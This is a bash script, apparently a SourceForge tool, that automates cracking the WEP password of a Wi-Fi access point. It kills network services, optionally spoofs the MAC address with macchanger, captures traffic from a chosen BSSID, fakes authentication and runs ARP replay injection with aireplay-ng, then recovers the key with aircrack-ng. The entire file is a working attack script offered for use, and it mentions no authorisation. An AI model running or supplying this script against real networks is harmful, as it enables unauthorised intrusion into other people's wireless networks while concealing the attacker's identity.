#!/bin/bash

PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
export PATH

echo "########################################################################"
echo "#  This script is used to crack WEP password of Wi-Fi Access Points.   #"
echo "#  Depends on:   aircrack-ng                                           #"
echo "#                macchanger                                            #"
echo "#  PS. If you don't need to change your MAC                            #"
echo "#  address, macchanger is not essential.                               #"
echo "#    Version: 1.2                                                      #"
echo "#    Homepage: https://sourceforge.net/projects/aircrackwep            #"
echo "#    By: Chen Zhidong                                                  #"
echo "#    From: NanJing University of Technology                            #"
echo "#    Email: njutczd@gmail.com                                          #"
echo "#                                                                      #"
echo "#  I want to express my heartfelt gratitude to Noah Riede as he helped #"
echo "#  correct a spelling mistake in this script.                          #"
echo "#                                                                      #"
echo "########################################################################"
echo ""

#Killing processes that could cause trouble first
echo -e "Killing processes that could cause trouble...\n"
sudo killall NetworkManager
sudo killall NetworkManagerDispatcher
sudo killall wpa_supplicant
sudo killall avahi-daemon
echo ""

#making a dir to store crack files
if [ -d ./Aircrack-Output ]; then
	echo > /dev/null
else
	mkdir "Aircrack-Output"
fi
cd "Aircrack-Output"

#choose your interface and start airmon-ng
read -p "Enter the interface you want to use:  " interface
sudo airmon-ng start $interface
clear

#MAC setting
true=`macchanger -s wlan0 | sed 's/Current\ MAC: //' | sed 's/(.*)//'`
read -p "Your true MAC address of $interface is $true, do you want to change it?(y/N)" macset
satisfy="n"
wifi="n"
until [ $wifi = y ];do
	case $macset in
	( y|Y )until [ $satisfy = y ]; do
				#choose random or not
				clear
				read -p "Do you want a random MAC address?(Y/n)" random
				case $random in
				( n|N )clear
						echo "Since you want to set MAC address by pointed, please provide a MAC address:"
						read hmac
						echo "Setting the MAC address to $hmac..."
						sudo ifconfig $interface down
						sudo macchanger -m $hmac $interface
						sudo ifconfig $interface up
						;;
				*)echo "Setting random MAC address..."
						sudo ifconfig $interface down
						sudo macchanger -r $interface
						sudo ifconfig $interface up
					;;
				esac
				#whether satisfy
				clear
				echo "$interface is in `sudo macchanger -s wlan0`"
				read -p "Do you like the address above?(y/N)" satisfy
				case $satisfy in
				( y|Y )satisfy="y"
						hmac=`macchanger -s wlan0 | sed 's/Current\ MAC: //' | sed 's/(.*)//'`
						sudo ifconfig mon0 down
						sudo macchanger -m $hmac mon0
						sudo ifconfig mon0 up
						;;
				*)satisfy="n"
					;;
				esac
			done
			;;
	*)echo "You are using true MAC address $true in $interface."
		hmac=`macchanger -s wlan0 | sed 's/Current\ MAC: //' | sed 's/(.*)//'`
		;;
	esac

	#confirm the MAC address setting
	clear
	echo -e "Wi-Fi Card Setting:\n\tInterface:\t\t$interface\n\tInterface's MAC:\t$hmac\n\nIs this correct?(Y/n)"
	read wifi
	case $wifi in
	( n|N )wifi="n"
			;;
	*)wifi="y"
		;;
	esac
done

#Starting airodump-ng for you to choose an access point
clear
echo "Starting airodump-ng for you to choose an access point..."
sudo xterm -hold -e "airodump-ng mon0" &

#AP(Access Point) setting
verifyap="n"
until [ $verifyap = y ];do
	clear
	echo "Enter the BSSID of the access point:"
	read bssid
	echo "Enter the CHANNEL of the access point:"
	read channel

	#confirm the and AP setting
	clear
	echo -e "Access Point Setting:\n\tBSSID:\t\t$bssid\n\tChannel:\t$channel\n\nIs this correct?(Y/n)"
	read verifyap
	case $verifyap in
	( n|N )verifyap="n"
			;;
	*)verifyap="y"
		;;
	esac
done

sudo airmon-ng stop mon0
sudo airmon-ng start $interface $channel

#start airodump-ng
clear
echo "Starting airodump-ng..."
sudo xterm -hold -e "airodump-ng -c $channel --bssid $bssid -w output mon0" &

#fake authenticate
echo "Trying to fake authenticate..."
status="n"
until [ $status = y ];do
	#clear
	sudo aireplay-ng -1 0 -a $bssid -h $hmac mon0
	read -p "Sometimes fake authenticate may fail. Did you successfully faked authenticate?(Y/n)" status
	case $status in
	( n|N )status="n"
			;;
	*)status="y"
		;;
	esac
done

#start requesting arp request
clear
echo "Trying to start requesting arp request..."
sudo xterm -hold -e "aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b $bssid -h $hmac mon0" &

#start cracking when data got to more than 5000
read -p "Press Enter to run aircrack-ng..." aircrack
clear
sudo aircrack-ng output*.cap

#final step: kill processes and set default
echo "Now we've got some cleanning work..."
sudo killall xterm
sudo airmon-ng stop mon0
sudo ifconfig $interface down
sudo macchanger -m $true $interface
sudo ifconfig $interface up
sudo NetworkManager

read -p "Do you want to delete crack files?(y/N)" del
if [ $del = y -o $del = Y ]; then
	echo "Deleting..."
	cd ..
	sudo rm -r "Aircrack-Output"
fi
clear
echo -e "Done! \nFor more information, visit homepage of this project in SourceForge:\n\thttps://sourceforge.net/projects/aircrackwep/"

exit 0
#End
